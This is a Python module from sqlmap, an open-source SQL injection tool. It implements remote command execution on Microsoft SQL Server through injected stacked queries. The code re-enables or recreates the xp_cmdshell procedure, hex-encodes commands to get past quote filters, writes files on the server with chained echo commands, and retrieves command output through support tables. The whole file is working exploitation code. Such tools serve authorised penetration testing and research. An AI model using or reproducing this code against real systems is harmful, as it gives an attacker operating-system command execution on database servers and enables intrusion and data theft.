1#!/usr/bin/env python 2 3""" 4Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) 5See the file 'LICENSE' for copying permission 6""" 7 8from lib.core.agent import agent 9from lib.core.common import Backend 10from lib.core.common import flattenValue 11from lib.core.common import getLimitRange 12from lib.core.common import getSQLSnippet 13from lib.core.common import hashDBWrite 14from lib.core.common import isListLike 15from lib.core.common import isNoneValue 16from lib.core.common import isNumPosStrValue 17from lib.core.common import isTechniqueAvailable 18from lib.core.common import popValue 19from lib.core.common import pushValue 20from lib.core.common import randomStr 21from lib.core.common import readInput 22from lib.core.common import wasLastResponseDelayed 23from lib.core.compat import xrange 24from lib.core.convert import encodeHex 25from lib.core.data import conf 26from lib.core.data import kb 27from lib.core.data import logger 28from lib.core.decorators import stackedmethod 29from lib.core.enums import CHARSET_TYPE 30from lib.core.enums import DBMS 31from lib.core.enums import EXPECTED 32from lib.core.enums import HASHDB_KEYS 33from lib.core.enums import PAYLOAD 34from lib.core.exception import SqlmapUnsupportedFeatureException 35from lib.core.threads import getCurrentThreadData 36from lib.request import inject 37 38class XP_cmdshell(object): 39 """ 40 This class defines methods to deal with Microsoft SQL Server 41 xp_cmdshell extended procedure for plugins. 42 """ 43 44 def __init__(self): 45 self.xpCmdshellStr = "master..xp_cmdshell" 46 47 def _xpCmdshellCreate(self): 48 cmd = "" 49 50 if not Backend.isVersionWithin(("2000",)): 51 logger.debug("activating sp_OACreate") 52 53 cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") 54 inject.goStacked(agent.runAsDBMSUser(cmd)) 55 56 self._randStr = randomStr(lowercase=True) 57 self.xpCmdshellStr = "master..new_xp_cmdshell" 58 59 cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) 60 61 if not Backend.isVersionWithin(("2000",)): 62 cmd += ";RECONFIGURE WITH OVERRIDE" 63 64 inject.goStacked(agent.runAsDBMSUser(cmd)) 65 66 def _xpCmdshellConfigure2005(self, mode): 67 debugMsg = "configuring xp_cmdshell using sp_configure " 68 debugMsg += "stored procedure" 69 logger.debug(debugMsg) 70 71 cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) 72 73 return cmd 74 75 def _xpCmdshellConfigure2000(self, mode): 76 debugMsg = "configuring xp_cmdshell using sp_addextendedproc " 77 debugMsg += "stored procedure" 78 logger.debug(debugMsg) 79 80 if mode == 1: 81 cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode)) 82 else: 83 cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode)) 84 85 return cmd 86 87 def _xpCmdshellConfigure(self, mode): 88 if Backend.isVersionWithin(("2000",)): 89 cmd = self._xpCmdshellConfigure2000(mode) 90 else: 91 cmd = self._xpCmdshellConfigure2005(mode) 92 93 inject.goStacked(agent.runAsDBMSUser(cmd)) 94 95 def _xpCmdshellCheck(self): 96 cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) 97 self.xpCmdshellExecCmd(cmd) 98 99 return wasLastResponseDelayed() 100 101 @stackedmethod 102 def _xpCmdshellTest(self): 103 threadData = getCurrentThreadData() 104 pushValue(threadData.disableStdOut) 105 threadData.disableStdOut = True 106 107 logger.info("testing if xp_cmdshell extended procedure is usable") 108 output = self.xpCmdshellEvalCmd("echo 1") 109 110 if output == "1": 111 logger.info("xp_cmdshell extended procedure is usable") 112 elif isNoneValue(output) and conf.dbmsCred: 113 errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath() 114 errMsg += "storing console output within the back-end file system " 115 errMsg += "does not have writing permissions for the DBMS process. " 116 errMsg += "You are advised to manually adjust it with option " 117 errMsg += "'--tmp-path' or you won't be able to retrieve " 118 errMsg += "the command(s) output" 119 logger.error(errMsg) 120 elif isNoneValue(output): 121 logger.error("unable to retrieve xp_cmdshell output") 122 else: 123 logger.info("xp_cmdshell extended procedure is usable") 124 125 threadData.disableStdOut = popValue() 126 127 def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): 128 echoedLines = [] 129 cmd = "" 130 charCounter = 0 131 maxLen = 512 132 133 if isinstance(fileContent, (set, list, tuple)): 134 lines = fileContent 135 else: 136 lines = fileContent.split("\n") 137 138 for line in lines: 139 echoedLine = "echo %s " % line 140 echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile) 141 echoedLines.append(echoedLine) 142 143 for echoedLine in echoedLines: 144 cmd += "%s & " % echoedLine 145 charCounter += len(echoedLine) 146 147 if charCounter >= maxLen: 148 self.xpCmdshellExecCmd(cmd.rstrip(" & ")) 149 150 cmd = "" 151 charCounter = 0 152 153 if cmd: 154 self.xpCmdshellExecCmd(cmd.rstrip(" & ")) 155 156 def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): 157 # When user provides DBMS credentials (with --dbms-cred) we need to 158 # redirect the command standard output to a temporary file in order 159 # to retrieve it afterwards 160 # NOTE: this does not need to be done when the command is 'del' to 161 # delete the temporary file 162 if conf.dbmsCred and insertIntoTable: 163 self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) 164 cmd = "%s > \"%s\"" % (cmd, self.tmpFile) 165 166 # Obfuscate the command to execute, also useful to bypass filters 167 # on single-quotes 168 self._randStr = randomStr(lowercase=True) 169 self._cmd = "0x%s" % encodeHex(cmd, binary=False) 170 self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr 171 self._forgedCmd += "SET @%s=%s;" % (self._randStr, self._cmd) 172 173 # Insert the command standard output into a support table, 174 # 'sqlmapoutput', except when DBMS credentials are provided because 175 # it does not work unfortunately, BULK INSERT needs to be used to 176 # retrieve the output when OPENROWSET is used hence the redirection 177 # to a temporary file from above 178 if insertIntoTable and not conf.dbmsCred: 179 self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable 180 181 self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr) 182 183 return agent.runAsDBMSUser(self._forgedCmd) 184 185 def xpCmdshellExecCmd(self, cmd, silent=False): 186 return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent) 187 188 def xpCmdshellEvalCmd(self, cmd, first=None, last=None): 189 output = None 190 191 if conf.direct: 192 output = self.xpCmdshellExecCmd(cmd) 193 194 if output and isinstance(output, (list, tuple)): 195 new_output = "" 196 197 for line in output: 198 if line == "NULL": 199 new_output += "\n" 200 else: 201 new_output += "%s\n" % line.strip("\r") 202 203 output = new_output 204 else: 205 inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) 206 207 # When user provides DBMS credentials (with --dbms-cred), the 208 # command standard output is redirected to a temporary file 209 # The file needs to be copied to the support table, 210 # 'sqlmapoutput' 211 if conf.dbmsCred: 212 inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) 213 self.delRemoteFile(self.tmpFile) 214 215 query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) 216 217 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: 218 output = inject.getValue(query, resumeValue=False, blind=False, time=False) 219 220 if (output is None) or len(output) == 0 or output[0] is None: 221 output = [] 222 count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) 223 224 if isNumPosStrValue(count): 225 for index in getLimitRange(count): 226 query = agent.limitQuery(index, query, self.tblField) 227 output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) 228 229 inject.goStacked("DELETE FROM %s" % self.cmdTblName) 230 231 if output and isListLike(output) and len(output) > 1: 232 _ = "" 233 lines = [line for line in flattenValue(output) if line is not None] 234 235 for i in xrange(len(lines)): 236 line = lines[i] or "" 237 if line is None or i in (0, len(lines) - 1) and not line.strip(): 238 continue 239 _ += "%s\n" % line 240 241 output = _.rstrip('\n') 242 243 return output 244 245 def xpCmdshellInit(self): 246 if not kb.xpCmdshellAvailable: 247 infoMsg = "checking if xp_cmdshell extended procedure is " 248 infoMsg += "available, please wait.." 249 logger.info(infoMsg) 250 251 result = self._xpCmdshellCheck() 252 253 if result: 254 logger.info("xp_cmdshell extended procedure is available") 255 kb.xpCmdshellAvailable = True 256 257 else: 258 message = "xp_cmdshell extended procedure does not seem to " 259 message += "be available. Do you want sqlmap to try to " 260 message += "re-enable it? [Y/n] " 261 262 if readInput(message, default='Y', boolean=True): 263 self._xpCmdshellConfigure(1) 264 265 if self._xpCmdshellCheck(): 266 logger.info("xp_cmdshell re-enabled successfully") 267 kb.xpCmdshellAvailable = True 268 269 else: 270 logger.warn("xp_cmdshell re-enabling failed") 271 272 logger.info("creating xp_cmdshell with sp_OACreate") 273 self._xpCmdshellConfigure(0) 274 self._xpCmdshellCreate() 275 276 if self._xpCmdshellCheck(): 277 logger.info("xp_cmdshell created successfully") 278 kb.xpCmdshellAvailable = True 279 280 else: 281 warnMsg = "xp_cmdshell creation failed, probably " 282 warnMsg += "because sp_OACreate is disabled" 283 logger.warn(warnMsg) 284 285 hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) 286 287 if not kb.xpCmdshellAvailable: 288 errMsg = "unable to proceed without xp_cmdshell" 289 raise SqlmapUnsupportedFeatureException(errMsg) 290 291 debugMsg = "creating a support table to write commands standard " 292 debugMsg += "output to" 293 logger.debug(debugMsg) 294 295 # TEXT can't be used here because in error technique you get: 296 # "The text, ntext, and image data types cannot be compared or sorted" 297 self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") 298 299 self._xpCmdshellTest() 300